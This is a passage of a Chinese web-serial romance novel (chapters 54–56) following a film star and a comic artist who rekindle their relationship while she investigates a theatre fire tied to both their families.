凌湛:“还要做什么?” 合雨悠用非常内疚的语气说:“我从来没想过伤害你,那不是我本意。” 凌湛冷冷的:“杀人犯在法庭也那么说。” 合雨悠语塞:“伤害已经造成了,我说什么可能都没有用。” “继续,当我这儿是教堂?” 合雨悠抿唇:“总之对不起。” 凌湛侧躺着,他感觉到合雨悠就在床尾那块儿站着,他闭了闭眼,然后道:“他对你好吗?” 合雨悠意识到他是在说贺秋阳。 那是她当时用来分手的理由。 她犹豫了下,说:“挺好的,不过我们也分了。” 凌湛:“?” 凌湛:“前几天不还和他去看向悦了?什么时候分的?” 他气性来得快,给合雨悠都整不会了。 “刚分的?所以想起我了?我又成替身了?”凌湛坐直,反应过来,啪地开灯,表情看起来就很生气,“你他妈过来,给老子说清楚怎么回事!” 合雨悠一把被他抓上床,天旋地转,脑袋栽在柔软的真丝被上,心想完了,她又把秋衣秋裤给换上了…… “……你怎么知道我和他去看向悦了。”合雨悠想想恐怕是凌飞说的,“算了这个不重要,是你爸告诉你的吗,他可能误会什么了。” 凌湛手掌按着她,眼里有很深的东西:“说清楚。” 合雨悠躺他床尾那块儿,脖颈敏感地缩了下,抓住他的手:“你别按这儿……我喘不过气。”末了一顿,“……就是分了,挺久了,最近有联系是因为我们在一栋楼上班,呃,我有个朋友喜欢向悦,关心她的状况,我就想去看看,但我不认识你爸,我就让他带我去的。” 不是个很像样的解释,但也能说得通。 凌湛注视她片刻:“分多久了。” “很久了……”合雨悠说,“很久。”具体的她就说不上来了,因为根本没谈过。 凌湛:“你甩的他?” “……是和平分手。”合雨悠绞尽脑汁,“这些都不重要……我衣服没穿完!我得走了,我都困了,我想回去了,干嘛又把我拉上来……” “为了他把我甩了,就和他和平分手?”凌湛想起来有点忍无可忍,不许她走,“手机呢?你给他现在发消息,说我们复合了。” 合雨悠:“什么?” 凌湛在她身上摸:“手机呢?说你当时就是不喜欢他才分的,你讨厌他。” “……外套里啊,你别,别摸。”合雨悠说别这样,“凌湛,别……”她把凌湛的脖颈勾住了,希望他不要再动弹了,这样的安抚很有效,他就像拱起背脊的大型猫科动物,缓缓软化下来,巨大的重量落在她身上。 合雨悠一下喘不过气。 他的身体罩着她。 好半天没动。 凌湛的呼吸趋于平静,在光亮下闭眼,拥抱她,刚刚没有做的事,现在做了。知道自己的重量对小女生而言恐怕难以承受,所以凌湛侧过身抱着她,胳膊收得紧紧的,鼻息也是,手掌用力按着她的后脑勺,将她按在自己因紧绷而坚实的胸膛而不动。 合雨悠也特别配合,没挣扎,耳朵听见他鼓张的心跳,她的心脏抽搐似的丝丝地疼。 如果没有分开过就好了。 可她不敢去美化那条没走过的路。 凌湛闭着眼睛,抱她很久。 久到合雨悠觉得他不会是睡着了吧。 她动作小心翼翼地推他肩膀:“凌湛……?” 凌湛“嗯”了一声:“悠悠别动,抱会儿。”—— 作者有话说:[三花猫头]谢谢追文~~都发红包[抱抱] 第55章 合雨悠中途想要伸手去关下灯,都被他缠着不放:“你要去哪儿?不要动,不准走。” “……我要上厕所,我不能尿床上吧。”合雨悠轻轻推他。 凌湛“哦”了一声,睁眼:“那也没关系。” 这对吗?合雨悠强调:“我真的憋不住了!” “那我抱你去。” 合雨悠:“……” 凌湛真的抱她去了,好像真怕她跑一样,合雨悠挣扎着锤他肩膀,放她下来:“别看我上厕所!!求你了。” 凌湛靠在卫生间门口等她,半闭着眼不知想什么。 等她出来,他再次把她拖回去,不给她离开的机会:“你手机在我这儿,你不准走。” 合雨悠坐在床边被他圈着腰:“不是,你把我手机藏哪儿了?” “明天早上还你,我又不是强盗,我只是需要你,明天给你买新衣服好吗?”他抱着合雨悠躺下,四肢修长有力,圈着她全身,提供非常结实的温暖热源,合雨悠一瞬间失去了所有逃离的想法,半晌伸手:“你得关灯啊。” 她够不着,凌湛反手伸长胳膊,把灯关上了:“我有点累了,睡觉吧。” 凌湛低说晚安。 合雨悠叹口气。 凌湛在黑暗里又说了句:“下次不会把你衣服丢地上了。” 合雨悠说没关系,她只是随口那么一提,并不在意。 就在她以为凌湛不会说话的时候,他又出声了:“你现在喜欢那个牌子吗?那我接个代言吧。” 合雨悠:“……” 凌湛:“这样你买衣服的时候旁边的广告牌都是我。你不想看见我也不行了。” 合雨悠还没接话,她还在想代言有多少钱,凌湛又翻身压在她身上,说了句:“你不会不想看见我的对吧,你有想过我吗?” 衣帽间的灯透着微光,黑暗里她甚至能看见一双非常亮的眼睛,直勾勾地盯着她。明亮的含有许多情愫的。 “……有的。”她没有撒谎的力气了,什么力气都没了,无可奈何,“不是说累了么,你不要睡觉?” “你说睡觉我就不困了。”凌湛在被窝里找了一会儿,主动扣着她的手心,低头在她唇上亲吻,嘴唇柔软而温热,“和我比起来,贺秋阳技术怎么样?” 合雨悠头皮发麻。 不要聊这种心事可以吗? 他的吻辗转而柔和,情意绵绵,没有唇舌缠绵,只嘴唇相依,却把合雨悠直接亲晕过去了,拼命喘息汲取着氧气。 凌湛的五指伸入她柔软的黑发里,听见她的呼吸声,他说:“又缺氧了?” 合雨悠不知道怎么回答,上次这样可是有七八年了,熟悉而陌生的激烈情绪,像骤然涨起的潮,在经历漫长的白天后汹涌地卷土重来。 比起上一次,七年前,或者说有八年了,凌湛那种肆无忌惮的侵略性似乎削弱了一些,或者说隐藏在了海底的火山下,随时可能喷发。他们最后一次亲吻已经是上一段人生,发生在凌湛在柏林春天小区的出租屋里,他当时正要退租去北京读书,和合雨悠分手后,人生像突然停摆的钟表一样不知所措。 他面临新的选择,还有一些东西要搬走,回小区的时候碰见了合雨悠。 合雨悠是八月二十六号开学,两人当时是打算同一天,在二十四号的飞机。 所以那天二十三号,他们在小区成荫的绿树下狭路相逢了。接近四十度的高温,合雨悠出门和高中同学最后一聚,大家即将各奔东西,她全天都情绪不高,直到那天晚上她看见凌湛,他大概还在气头上,直接把她抓回他空荡荡的家,发生了一些分手后就不该发生的事。 合雨悠起初求他不要,哭得抽噎个没完,短袖被卷起来丢在地上,牛仔裤也是,她蜷着腿瑟瑟发抖,身上被亲吻出青紫的痕迹,他力气很大,他从来没有用这么大的力气试图控制过她,近乎粗暴。 然后凌湛就忽然停了,出去抽烟了,他打开窗户,两指夹着烟,在黑暗房间里亮出一点橘红光点,听见楼下居民的散步声和零星狗吠。 他抽完一根,回到卧室,合雨悠穿上T恤了,在擦眼泪。 “又没真的对你怎么样,你哭什么?”凌湛靠在门边,“你现在就走,但这是我们最后一面了,我明天飞旧金山,我们永远不会再见了。” 他想告诉合雨悠,贺秋阳不可能有他好,他会是她这辈子遇到最好的男人了,可是分手了这些话听起来是毫无道理也毫无意义的。 他让开路,等合雨悠起来离开,可合雨悠因为他的话而怔在那里,他卧室的灯瓦数不高,灯光是昏黄的,窗帘紧闭,旧空调里呼呼地吹着冷气。 合雨悠身上的温度降了下来,忽然又有点冷了,她胸口起伏,望向凌湛。 凌湛嘴角扯出一个弧度,眉眼的冷意看起来让他高不可攀,比他们第一次见面还要冷漠的眼神看着她:“你不走吗?不走等着被我襙吗。” 合雨悠双手搭在膝盖上,她的牛仔裤很薄,被她用手揪着,低头说:“我不走了。” “我给你,”她不等凌湛燃出希望,就说,“可是以后我们不要联系了,这是最后一次。”然后检查他房间有没有任何相机设施——没有,他都搬走了。 第一次也是最后一次。 合雨悠起初疼得眼泪直流,凌湛亲了亲她的脸,吻掉那些带着咸的泪珠,又变得很温柔,问她很疼吗?她可怜地点头,他低低在她耳畔说:“那你最好记住这种疼。” 连吻也是长驱直入的带着索取的粗鲁的,合雨悠本来就不高,又瘦,被撞得要死掉一样,但还很拼命地搂着凌湛的脖颈,嘴角溢出她自己都不理解的情绪破碎的声音。 相较那一次,凌湛要温柔得多,吻了一会儿就停下,在没开灯的房间里抚摸她脸颊和耳朵,她皮肤天生很好,像牛奶一样的白皙,手感又像缎子般柔软丝滑,几乎是让人爱不释手的。 凌湛还要亲的时候,合雨悠打住他:“我长口腔溃疡了,别了。” 凌湛:“?” 合雨悠:“你天天让人把烤肠机摆在剧组门口免费吃。” 凌湛:“你是吃了多少?” 合雨悠:“……饿了就去吃一根,不是,吃两三根。” “两根还是三根?” 合雨悠支支吾吾:“我不知道,可能四根。” 凌湛手伸进去摸她腰:“难怪有小肚子。” 合雨悠浑身颤了一下,紧绷着伸过去拿开他手:“有小肚子不是很正常?” “没有说不好的意思。”凌湛当然知道正常,“你吃饱一点吃胖点比较好,还是太瘦了。” 合雨悠说知道了:“那你提高一下盒饭质量。”她说完舔了下自己的溃疡,叹口气,烤肠太上火了,不该贪便宜那么吃的。 这回他终于安分下来了,侧躺着搂着合雨悠睡觉,脑袋埋在她脖颈连着胸的那块儿,那块皮肤的体香要更明显一些,是一种温软的让他很怀念的气味。 而合雨悠作为一个长期神经衰弱,需要靠耳塞和眼罩才能入睡的职业漫画家,闭眼没一会儿就睡着了。 她也不知道这事儿怎么发展成这样的。 总之凌湛的经纪人一早上进来翻垃圾桶的时候,她挺震惊的,因为太震惊了张着嘴而不知道说什么。 凌湛皱着眉睁眼,起床气很大:“你有什么毛病啊叶铭,我女朋友还在呢。” “等会儿我有事出去见个导演,”叶铭说,“怕你不收拾垃圾桶被人卖了,结果你已经收拾了?” 很显然垃圾桶里没有糟糕的黏糊罪证。 凌湛把被子拉起来给本来也穿挺多的合雨悠遮着。 叶铭:“这样打招呼可能不合适?昨晚没打招呼不好意思,我是叶铭,凌湛的经纪人。”叶铭笑得一团和气,伸手和她握手,被凌湛打开。 合雨悠呃了一声,有点尴尬:“您好……我是……合雨悠。” 叶铭昨晚就查了剧组人员名单,知道她是谁叫什么,他仍然和气,对她说:“合小姐,我有几点想提前跟您说明,第一,别在剧组跟他有任何接触。” 凌湛起来了:“你出去出去。” 叶铭很严肃:“这是为了你们俩好,凌湛,你也不想合小姐被人攻击吧?” 凌湛回头看她抱着膝盖发呆的样子,他烦躁地抓头。 合雨悠答应下来:“好,我知道,我在剧组没和他说过话的。” 叶铭继续对她说:“那很好,你碰他一下不要紧,他碰你一下就要命。你没见过粉丝怎么拆显微镜的。他是有一些私生饭的,那些都是神经病的存在,不能和他们讲道理,会对你造成包括不限于跟踪、入室、翻你的垃圾桶、甚至对你人身伤害。” 合雨悠“啊”了一声,她不追星,不知道居然这么恐怖的吗。 合雨悠:“我……不会的。” 叶铭点头,继续第二条:“你是素人,受到的冲击不会最大,凌湛才是首当其冲。不可以暗搓搓秀恩爱,不要在社交媒体小号记录恋爱过程,譬如同款衣服、鞋、包、同款背景。” 合雨悠:“那、那我之前晒过猫……” 叶铭:“猫?” 合雨悠:“抱抱是我收养后去治疗然后送养的猫。” 叶铭:“……”他看向凌湛,他说怎么忽然养只猫。 叶铭:“都删掉吧,注销掉,不要给人扒到你的机会,具体的我都会教你怎么做。我加你微信。” 合雨悠伸手找:“我手机呢?凌湛。” 然后看见凌湛蹲身从床底下把她手机拿出来了。 叶铭还以为这是凌湛的保密措施,不知道这是他怕她跑了才采取的,凌湛对于叶铭加合雨悠倒是没有意见,他对合雨悠道:“有时候我找不到人,你找我经纪人。” “但是叶铭,你不要对她说有的没的。” 叶铭笑:“这不是为了你俩好么?” 合雨悠立刻保证:“放心吧我不会的,而且我和凌湛没谈恋爱。” 凌湛扭头看着她。 她现在穿得不方便,也没敢下床。 但表情很无辜,白白软软一张脸,眼睛黑白分明又清澈。 凌湛觉得她每次表情无辜的时候其实都不无辜。 叶铭咳了一声:“那我走了,有事发消息联系,然后药我帮你拿进来了,你们谁溃疡了?” “出去吧你电灯泡。”凌湛把他推到外面起居室,又跟叶铭说了几句话,随后拿起药进来,是一盒口腔溃疡喷雾,维生素B2,和口服的下火药。 昨晚上想起来点的,那会儿合雨悠已经睡着了,趴在他胸口睡得乖乖的。 凌湛几乎是做梦一样的感觉,安静地注视她,好像找到了重新拥有她的感觉。 最后他还是用叶铭的电话地址,预定了早上八点半送达。 “把药吃了,”凌湛放床头,看见合雨悠衣服已经换好了,“我把药带着好了,谢谢你。” 凌湛:“我点早饭送上来,跟我一起吃。” 合雨悠摇头:“现在还早,没什么人在走廊,我要是再待一会儿,外面人多风险也大。” 凌湛揉眉心:“你要这样是吧?” “不是我要这样,”她没有强调已经分手的事,纯粹是出于对凌湛职业的考虑,“你经纪人也说了……” “他危言耸听你也信?”凌湛显然是个喜欢掌控一切的性子,眼下处处受限,让他非常不自由。 合雨悠去卫生间漱口:“不管是不是危言耸听,我今天都得走的,和你吃完饭也得走,那个硬盘,”这是最重要的,合雨悠扭头说,“我不放心让你的助理带过来,我周末飞回上海的话,能去你家拿吗?”这是她思考后的方案。 凌湛想了想:“我家你上不去,我助理你不放心什么,首先我的硬盘有密码,其次我们是拍什么见不得人的东西了吗?恕我想不起来。” 就算被曝光出去,也最多说一句:小情侣恋爱真甜。 合雨悠:“我认识一个黑客,他说普通硬盘加密方式都不行,他都能破解。所以不安全。” 听她提到黑客,凌湛表情若有所思,最后说:“我明天要回去一趟,给你拿过来行吧。” 合雨悠:“哎?过几天不是要开机了。” 凌湛:“正好回去有工作,开机延迟到12月初了你不知道?” 他不想放合雨悠走,还是放她走了,下午他有点工作要出门,总不能锁她在房间吧。 “口腔溃疡好了跟我说,”凌湛放她出去,“烤肠机先撤出片场,你这半个月都别吃了。” 合雨悠一走,凌湛就蹲在那里难过了十几分钟,整个人陷入一种没精打采的黑色情绪。 合雨悠走回了自己的酒店房间,两家酒店相隔也就打车十几分钟的距离,因为重庆地形关系,其实走路也才二十分钟,她今天没什么事儿,只是提前约了高中时代的朋友出来而已。 而凌湛下午也被迫在无休止社交,终于完事了,和他经纪人在保姆车上,叶铭问:“合小姐那边我发个保密合同给她,你不反对吧?” “我当然反对。”凌湛坐直,“我们是正常恋爱关系。” 叶铭:“我知道正常恋爱,可娱乐圈的正常恋人反咬一口的可太多了,你入圈时间短,又不吃八卦,所以才不知道的。别说恋人,夫妻都会反咬。多个心眼。” “删掉你的合同,”凌湛非常坚持,看向叶铭,“我不想解雇你。” 叶铭不可思议地望着他。 因为自己让他女朋友签保密协议,居然要解雇自己? 开什么玩笑。 叶铭可不是普通经纪人。 他三十岁出头,业内公认的“资本系金牌经纪人”,最早是电视台制片,后来被几家影视公司争着挖,他自己手里持着股份,是那种站在投资人席位都有人倒酒、叫他“叶总”的级别,他名下资产比凌湛多得多。 只是他后来遇到凌湛,被贺峰一句话请过去,他这个资本系金牌经纪人才改做一线艺人经纪。凌湛是个非常好的苗子,可惜非常固执。 他一开始不知道凌湛是恋爱脑,只知道他事业心很重,现在全完了。 “你宁愿解雇我,也要维护她的感受,”叶铭靠着座椅,像见了鬼似的,“这位合小姐真是魅魔吧?你私底下其实是她舔狗?” “她只是对我很重要。”凌湛凌湛没抬眼,伸手拿他手机,“不准发,删掉合同。” 叶铭问:“多重要?你说一句让我死心的那种,她救过你全家的命?” 凌湛抬眼:“你给你前妻投资过多少钱?在离婚后。” 叶铭笑了一声:“她卷走了我大半身家跑路了,我还要给她投钱?你想太多了吧。” 凌湛:“我们分手后她有次给我投资了一百万。” 叶铭:“?” 叶铭说:“一百万也不多啊,我也给你,你能舔我?” 凌湛皱眉:“她和你不一样,她不是你那种家庭,那对她来说是很大一笔钱。” “一开始我不知道是她,后来查到的。”凌湛首部电影确实没有赚到钱,血本无归,他自己也倾家荡产了,过了大概一年,他想办法弄到本息还给各个投资方,其中有个很特殊,是个匿名账户的匿名人。 凌湛太想知道这是谁了,谁会给籍籍无名的自己打那么多钱,一定是他认识的,又不想让他知道是谁,他连贺秋阳都怀疑了,就是没怀疑过是合雨悠。 凌湛打钱的时候设了陷阱,顺藤摸瓜查到,是个他根本不认识的男生,国内大学生。通过社交媒体,凌湛才知道这是合雨悠一个好友的男朋友,懂点黑客技术。 可能她还爱着的。 凌湛想。 他没有联系她。 然而辗转反侧地想,只要合雨悠一给他发消息,他们就复合好了,什么仇恨背叛绿帽子,不重要了。 然后凌湛皱眉看手机,指责经纪人:“都怪你跟她说那些话,她已经十一分半没回我消息了。”—— 作者有话说:[三花猫头]谢谢追文,都发红包~ 第56章 合雨悠在聚会,三个女同学,一个嫁人生子了,一个在闹离婚,一个孤寡至今疑似变铁T。去年她还回来参加过两个女同学的婚礼,话题偏到凌湛身上时,合雨悠已无力阻止。 “我前阵子就想问你了!带娃太忙了抽不出空,凌湛不是你邻居家的哥哥吗,还有联系吗?能不能给我们搞点签名?” “真的啊?”另外俩是第一次听说这件事,惊讶地望着合雨悠,“世界怎么这么小,当红明星是你发小?!” “谣言就是这样诞生的。”合雨悠一本正经地辟谣,“我记得我告诉过你,凌湛是有个远房亲戚住我家附近,我在高中某一年暑假见过他,仅此而已。怎么可能有联系呢?” 小萱仰头:“这样的吗?那我记错了,果然一孕傻三年,我高中老迷恋他了,哎盒子你记不记得我俩去的五十七中的运动会?我看见有个女生拍他刚运动完的样子,我去那太帅了,比电视上还帅,我鬼迷心窍问人家几百块买了一张凌湛的拍立得,前阵子我把那张拍立得挂微博,你猜那些粉圈多疯狂?我多年不混粉圈,居然有人出十万来买!!” 合雨悠:“???” 另一个女生唏嘘:“这么离谱?要是当年我学习没那么认真,整天蹲他们学校门口偷拍他,拍个几百张,现在不是能买别墅了?” 合雨悠不敢吱声。 这门生意其实她一早就做了。 她当年接近凌湛,一开始就是为了拍点照片,卖给像高中同桌小萱这样的追星女。 凌湛在那一年身边就有很多愿意为了他氪金的迷妹了,合雨悠虽然不理解但敏锐嗅到商机。自此她经历了“想卖点男神照片赚钱”到“喜欢他了不想卖了自己珍藏”再到“最讨厌失联的男人我全都要卖掉”的全过程。 并且在这件事上小赚了三千块,那三千后来都买了颜料,而颜料变成油画,又翻番变成几万。 她在刚上大学那会儿就有几万小财库了。 到现在身上掏不出五万存款。 其实家里还有凌湛的拍立得照片,而且非常多。但即便小萱说了一张能炒到十万,合雨悠也没动卖照片的心思。 在她的生命里她不止赢过一次,既然十八岁二十岁的时候可以靠画漫画当年入百万的新人王,那么眼下的低谷就不会是永远。 合雨悠比较晚才离开,凌湛从下午六点开始给她留言: “不理我?” “行。” “你最好这辈子都别理我。” “和同学唱歌去了?不会有那几个暗恋你的矮子吧?” 这会儿十点,合雨悠才回:“不是,几个女生,和我去过色达的女同学,你见过照片的。” 然后合雨悠纠正他:“暗恋我的除了几个矮子,也有很高的好吗。你想通过贬低我的追求者来打击我的自信心是不可能的。” 或许几年前她是会为此自卑一下,现在不会了。这只能说明男生普遍质量不好,不会拾掇自己,不会穿矮子乐垫肩垫整容,男生应该自我反省,而不是她来反省。 凌湛当然没那个意思。 他只是关心合雨悠到底跟谁见面了,烦躁她为什么不理人,昨天还对他道歉呢,今天又这样。 所以他给她打电话,她接得很快,听她“喂”了一声,他忽然就不知道说什么了。 凌湛:“那你回去了吗。” 合雨悠用很轻的声音说:“我回表姐家,在出租车上。” 凌湛:“柏林春天?” 他甚至对那个小区名字还记忆尤深。小区就在他们俩学校附近,很多次他来小区门口接合雨悠,高三最后几个月,离家出走的凌湛甚至租在了和她同一个小区里。 合雨悠说:“他们搬家了,不住那里了,老房子卖掉了。” 八年好像不长,但物是人非了。 凌湛想了想,说:“姐夫还开网吧吗?” 说的是合雨悠的姐夫,合雨悠高中三年都住在姐夫家,凌湛不知道什么时候跟着她改口的。 合雨悠沉默了下,也没纠正了:“他没开网吧了,这几年网吧没生意,现在开茶楼。” 合雨悠姐夫开的叫天虹网吧,附近有家叫雷霆的,是凌湛去得更多的,因为合雨悠不让他去天虹。 合雨悠也有一阵经常找他,网吧有小包间,凌湛有短片要剪辑,合雨悠坐在他旁边写试卷。描述间仿佛有一根记忆的弦将她拉回那个充斥着蝉鸣的炽夏。 凌湛又问她表姐,合雨悠说:“表姐现在升护士长了,工资涨了很多……我车到了,我得下车了,等下得挂电话了。”凌湛的名字在她的口中婉转了一下,没有吐出口。 “……那先挂了吧,”凌湛说,“等等,你口腔溃疡好点了吗,今晚吃的什么?” “鸡公煲。”她说。 凌湛:“骗我的吧你得了口腔溃疡吃这个?” 合雨悠:“我真的吃的鸡公煲,为什么骗你这个?” 凌湛:“我说你得口腔溃疡是骗我的。” 合雨悠:“……我为什么要骗你。” 凌湛顿了顿,他认为可能昨晚合雨悠不想让他亲才撒谎,她经常撒谎撒得让人看不出,但说不出口这个怀疑,就说:“算了,那你好好吃药,进家门了再挂。” 合雨悠嗯了一声,走了三分钟,进电梯的时候挂了。 她表姐一家的新房是去年装修的,三室一厅靠江,但不是江景房,四年前表姐怀孕了,外甥现在三岁半了,害羞地喊着表姨,拆合雨悠刚给他买的玩具。 “看你外甥安不安逸?想不想要一个?”表姐给合雨悠剥橘子说,“你妈才给我打电话,你在大城市生活压力大,可能机会也多,有没有合适的心动男嘉宾呢?” 合雨悠说没有。 表姐:“咋可能呐?你长这么漂亮,没得人追?” 合雨悠想了想:“可能有吧,我平时就在家宅着画画,也不出门,有邻居加我约我出去玩什么的,这是追吗?” 表姐:“当然是了!你没去?” 合雨悠:“我又不喜欢丑男我为什么要去?” 表姐哑了一下:“是有好丑?比你姐夫还丑啊?你看你姐夫长得不怎么样,有时候像个青蛙一样,你外甥还好没遗传到他,遗传的我,浓眉大眼的。我突然想起来我们外科主任有个留学回来的幺儿,好像是个单身汉,长得还可以,我帮你打听一下!” 合雨悠连声拒绝,表姐就说:“早知道你高中我就阻止你妈老汉儿禁止你谈恋爱了,你当时有个搞暧昧的男生吧?当时就觉得你不对劲,结果你妈思想太陈旧了!把你一通骂,你过生日还从火锅店跑出去了,把我们吓惨了,因为你小时候差点儿遭拐卖你记得吧?” 合雨悠说记得:“我爸妈救火去了是不,电影院着火了,我和我哥被人贩子拐走了,我哥跳车,我晕过去了,等我醒来已经回家了。” “是,不过不是个电影院,是个新建的还没开业的剧院,就是演那种话剧、舞台剧的,真的很吓人,那个嫌疑犯不是一直没抓到嘛,后头抓到了,院子埋了十几具跟你年纪差不多大的女尸,还有校服啊,洋娃娃,书包……”表姐说完,搜出新闻了,“这就是当时那个剧院,你看。” 合雨悠看见烧毁前后的照片,表情稍稍一愣。 因为她没有特意搜索过,所以也是第一次看见。 这个剧院的造型特别像……她应该在哪见过。 表姐说:“当时死了几个,你爸妈救了两三个吧,就追车去了。上新闻了呢,他们也不敢认领,我是怕那些去世的家属找上门来闹事,当年医闹也很恐怖,我们医院医生都被捅死过,想着算了,多一事不如少一事,你爸有块儿皮肤还烧黑了……” 后半夜,合雨悠睡得迷迷糊糊,忽然想起来在哪见过那剧院了。 电影里。 准确而言,不是什么院线电影。 是那年夏天和凌湛在阁楼里,凌湛放给她看的,关于他母亲的一部不公开的纪录片,由他剪辑成片。 他母亲是个话剧导演,死于一场剧院火灾。 合雨悠猛地清醒了。 也忽然间想起来,贺秋阳身上的纹身,臂膀和胸口全都是。 她问过一次,贺秋阳不在意地告诉她,是烧伤后疤痕,他不喜欢才去纹身遮盖的。 合雨悠一直是个思维发散、想象力丰富的人。 她由此合理推测,贺秋阳是当时火灾里被救的人之一,凌湛的母亲是死亡的人之一,她一直觉得凌湛特别讨厌贺秋阳,是和她无关的厌恶。 而贺叔一直对他们一家都很好,对合雨悠也很好。 合雨悠起床写了一条推理线,在白天的时候,打电话对爸妈问起,他们说:“是,当时救了两个,一个女的,一个小娃儿,估计是母子俩哦,好可怜哦。我们走的时候消防员也来了,我们就没管了。你跟你哥都遭人骗上面包车了,我们怎么还敢救人……” 合雨悠放空了一会儿。 这么看来,贺秋阳就是那个小孩儿。 被救的女人是谁?是凌湛的母亲么,如果邱莲和合典贵救了她,她又怎么会去世呢? 或许能在凌湛那里找到答案。 她一直是个求知欲旺盛的人,然而这件事,合雨悠不敢问,怕戳到伤心处。 凌湛是周末下午回的上海。 助理正在房间陪猫,见他突然推门进来,还愣了下:“哥?你怎么突然回来了?” 凌湛换鞋,随口:“找个东西。” 他说完,弯腰揉了揉抱抱的后颈,橘猫舒服得眯起眼。 合雨悠要的东西很好找。 在他用衣帽间隔出来的暗房,硬盘分门别类放好,硬盘上用便签贴了日期,是从他认识合雨悠那年暑假,到第二年暑假分手,那是他有很长一阵子最不愿回想,却始终没删掉的时间。 凌湛装好硬盘,抬头时望见透明玻璃柜。 如果有人进来,恐怕认为他是个病态自恋狂,因为玻璃柜里陈列了许多关于他本人的手办。 最高的80公分,矮一点的巴掌大,据合雨悠说,全是用一种叫石塑黏土的东西捏出来的,全部经她设计,做得像动漫人物,表情虽然夸张但好像很符合凌湛的性格,加起来共三排。有一排角落里是几枚黏土戒指和戒指盒,其中一个戒指盒呈现苹果的形状,而戒指则呈现为卷曲的苹果皮。 她一直是个非常有创造力的女孩子,这些东西很好,可分手的时候凌湛一度想丢掉。 大概是时间不允许,他赶着上飞机,没丢。凌飞也没丢,而是全部收好放在他的房间,等到凌湛回国的时候方才拆开,又摆在了常住的房间里。 戒指是按照他食指指围捏的,到现在仍然无比契合,紧紧地卡在骨节处。 凌湛一旦戴上,就无法摘掉了。 所有被收起来的东西,从来没有真正被丢下过。 他拍了一段猫放腿上撸猫的视频,戴着苹果皮戒指,指骨修长微微露出手背青筋。 然后问助理:“小马,这视频怪吗?” 助理说:“好可爱的戒指啊,手控狂喜,这视频不怪呀,您要发微博吗?” “我不发。”凌湛觉得暗示意味太强了,别让合雨悠觉得他太爱她了,就摘下了,重新拍了个撸猫视频给她。 手机振动了下。 凌湛:“看猫。” 合雨悠在剧组:“哇!抱抱[星星眼]。” 凌湛:……她眼里没他么? 怎么就顾着看猫。 凌湛:“硬盘找到了,回来给你,要是急需,我现在传网盘给你?” 合雨悠:“不要!!!!!” 合雨悠:“不要传网盘!!!等你回来了给我。” 她当然很害怕,网盘工作人员会审核的,她觉得男女思维一点儿也不一样,凌湛根本不在乎,可能在他眼里他拍的所有东西都是艺术,不是色//情。确实那也不怎么色,可惜网友不会那么想。 凌湛回:“那不发了,还看猫吗?” 合雨悠:“看!!” 凌湛:“开视频。” 合雨悠:“……我在剧组呢。”开机前还有的忙。 凌湛:“那晚上再给你看猫。” 合雨悠应了:“我去忙了,你多久回来啊?”她想知道最快多久能得到硬盘。 凌湛只能说是开机前。 然后就感觉到合雨悠似乎特别emo,回了个“好吧”。 凌湛思考片刻,看在她这么想他的份上,他决定晚上主动打一个视频电话给她。 “小马。”他收了手机,一边撸猫一边打开一个刚从暗房找出来的笔记本,“我想要这款贴纸,一模一样的。” 小马麻溜地拍照搜索,说:“凌哥,您看,好像没有一模一样的贴纸。” 那是个拇指盖大小的棕榈树贴纸。 承载了凌湛大概两三天的非常愉快的回忆,包含一段跨越一千五百公里、两小时五十分钟的空中时刻。 凌湛记得拥有这个贴纸的那几天他都很开心。 是合雨悠贴在他手背上的。 他皱眉:“网上没有?拼多多呢。” 小马搜了下:“也没有,这样吧我找工厂定制,这种贴纸,我用打印机扫描,再让工作室美工还原颜色质感,您想定制多少?” 凌湛:“几百张吧。” 小马说好。 凌湛看他拿走本子,抬手说:“你小心点别给我弄坏了……算了我自己扫描。你别动它。” 小马有点莫名,这什么贴纸,这么珍贵? 合雨悠忙完是七点钟,收工的时候手脚冰冷。 她不理解,为什么要这个天气拍戏,非得大冬天的开机吗。听说拍三个月后还要去长白山再拍一个月,合雨悠人都麻了。 凌湛先问了导演美术组是不是收工了,再联系的合雨悠。 一个视频电话过去,合雨悠还在回酒店的车上,吓得她当场就给挂了。 车上还有几个同事。 她给凌湛回:“我还没回酒店,刚收工忙完。” 凌湛回:“觉得辛苦吗?” 合雨悠回:“有一点累。” 凌湛:“那你别做了。” 合雨悠没回。 凌湛:“我意思是你继续画你漫画,别跟组了。” 他让她跟组的目的就是让她没空和贺秋阳谈恋爱,和他谈,谁知道给她忙成那样。 他还问了张导,张导说:“工资多少我不清楚,是老柯发给你介绍的妹子,我干预不了。反正制片说整个美术包给他们就两百万,也是业内很好的美术了,布景全是他们手绘。跟组呢我觉得也确实没必要,后面开机了要用美术的地方没那么多,两三个人跟就够了。” 整个剧组收入呈两极分化,旱的旱死,涝的涝死。 合雨悠在部门老大那里,毕竟是导演亲戚,给的不少,其他人她估计工资不过万。 凌湛知道合雨悠画的笔名,他一直避免去搜。 眼下搜了才发现,上一部作品草率完结后,她已经超过一年半没有更新新的作品了。 而且她在去年遭受过一次勾线助理的背刺,导致网友非议。 她自己出来辟谣了,可还有很多没删干净的谣言和攻击。 凌湛看得有点烦躁,给经纪人转发:“找公关部处理下,这些造谣帮我删掉,顺便给她做点正面的宣传。” 他说合雨悠看起来没那么阳光活泼了。 叶铭回得很快:“小河向西流,她是这个漫画家啊?” 凌湛:“你认识?” 叶铭:“我前妻看过她漫画,有阵子追着看。”叶铭看了一会儿,说,“她有阵子没更新了哦,怎么不走偶像漫画家路线?哦对,我前阵子还跟个台里制片人聊他们最近很火的恋综,美少女漫画家,学历好长得好,还被网暴过,可太适合了。这样,我安排她去上一个吧。” 凌湛:“你有病?恋综?” 叶铭笑笑:“恋综不都是作秀嘛,都有剧本的……这样她有个绯闻对象,也避免大众联想到你身上。” 凌湛:“滚啊。” 凌湛:“我女朋友很单纯的,别让她沾上娱乐圈,太脏了。” 在凌湛聊电话时,合雨悠终于回酒店了,她锁上门,点开聊天框,打字:“现在可以了。” 合雨悠:“现在可以看抱抱吗?” 凌湛没回。 她想到自己刚挂他视频,可能不太好,要不给他打回去吧…… 合雨悠拨的是语音。 凌湛秒接。 他还主动打开了摄像头,所以合雨悠的屏幕上出现了他的脸。 深眼窝和桃花眸,在昏黄的壁灯下显得愈发立体。镜头太近,晃动了一下,凸起而性感的喉结就在画面边缘轻轻动了下。看起来像刚运动过,发丝微湿。 合雨悠晃神了几秒。 她希望自己可以是心神坚定的雄鹰一样的女人,所以不为所动地问:“抱抱在哪?” 凌湛:“你是要抱抱,还是要我抱抱?” 合雨悠眼神一飘:“我的猫猫。” 